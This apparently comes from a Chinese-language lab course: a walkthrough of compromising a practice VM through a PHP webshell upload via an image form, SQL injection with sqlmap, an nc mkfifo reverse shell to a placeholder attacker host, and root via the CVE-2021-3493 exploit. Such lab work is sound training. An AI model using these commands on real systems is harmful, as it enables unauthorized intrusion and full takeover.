第五周

工具安装

这里我们先安装一下后面需要使用的工具,蚁剑。

Release AntSword v2.1.15 · AntSwordProject/antSword (github.com)

首先下载蚁剑的源代码。

image-20230324152620335

然后下载蚁剑的加载器。

AntSwordProject/AntSword-Loader: AntSword 加载器 (github.com)

image-20230324152649836

传输到KALi虚拟机上。

image-20230324152725618

image-20230326163831615

进入文件夹

image-20230326163851656

执行命令

image-20230326163915016

加载器这里就是去选择蚁剑源码即可。

image-20230326164102810

加载完成之后重新启动会报错,这个时候我们先ctrl + c结束掉。

image-20230326164311894

来到蚁剑的源码目录,执行命令

mv node_modules/mime/mime.js node_modules/mime/Mime.js

image-20230326164421131

然后再回到加载器目录启动。

image-20230326164441930

这个时候就可以成功启动了。

image-20230326165717236

蚁剑这里可以设置中文

信息收集

image-20230324151605256

image-20230324151641271

这里可以看到80端口和8000端口都是存在http服务的,但是8000端口是没有什么可以利用的地方(已测试),我们主要看向80端口。

image-20230326164915288

打开是这么一个页面,这里有登录和注册。这里我们先注册一个用户看看。

image-20230326165033261

注册成功直接会跳转到这么一个页面,可以发现是这么一个社交平台,可以发表一些信息。

打点

image-20230326165141989

这里需要先发送一条信息(后续profile才有信息)

image-20230326165213814

这里可以发现可以上传图片,这里可以测试一下是否存在文件上传漏洞。上传一个一句话试试。先点击Browse选择图片。

image-20230326165411687

然后选择这个shell之后进行上传。

image-20230326165529269

检查图片发现这里已经是一个php文件,我们去访问一下看看。

image-20230326165559241

直接访问也是空白的,貌似已经解析。这个时候我们使用蚁剑去连接一下测试。

image-20230326165750943

直接连接发现成功。

这里还存在另一个漏洞,就是sql注入漏洞。

image-20230326171644478

在搜索框这里输入1'直接触发了报错。那么这里可以使用sqlmap进行注入测试,我们先打开burp抓一个包

image-20230326171811086

这里可以直接复制这个包的内容。然后保存到一个txt文件内。

image-20230326172119302

然后使用sqlmap,这里 -r就是读取文件内容,-p指定参数注入

image-20230326172141355

image-20230326172232341

可以发现sqlmap是可以成功注入的。

提权

方法1

打开虚拟终端输入

lsb_release -a

这里可以看到这个ubuntu的版本,然后刚好存在一个CVE漏洞可以直接进行提权,这里的话实际上是非预期。这台靶机发布的时候是2020年,然后在21年爆出一个内核漏洞可以直接进行提权。

image-20230326165914525

briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc (github.com)

这里可以github直接下载到利用的代码。

image-20230326170234091

把利用的代码通过蚁剑上传,这里然后不能在虚拟终端(不是真的shell环境)上执行了。会报错。这里我们需要反弹shell。

这里使用新的方式。(不清楚原理没关系)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc kaliip kaliport > /tmp/f

先在kali启动侦听。然后在蚁剑的虚拟终端执行上面的命令。

image-20230326170739345

image-20230326170718090

image-20230326170802970

可以发现这里我们返回了一个shell。但是呢这个shell不够智能呢个,我们可以进行升级成交互式shell。

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230326171121908

执行之后就可以了。(老师是这么操作的,但是我觉得这里好像不用升级shell也可以,一开始就直接反弹了/bin/bash)

然后呢,我们就可以去使用提权的脚本了。

image-20230326171339017

使用gcc去编译这个脚本代码

gcc -o exp exploit.c
chmod +x exp #加权限

image-20230326171440018

这里运行可以发现我们已经成功的变成了root权限。这个是最快速的方法。但是呢预期解不是这样的。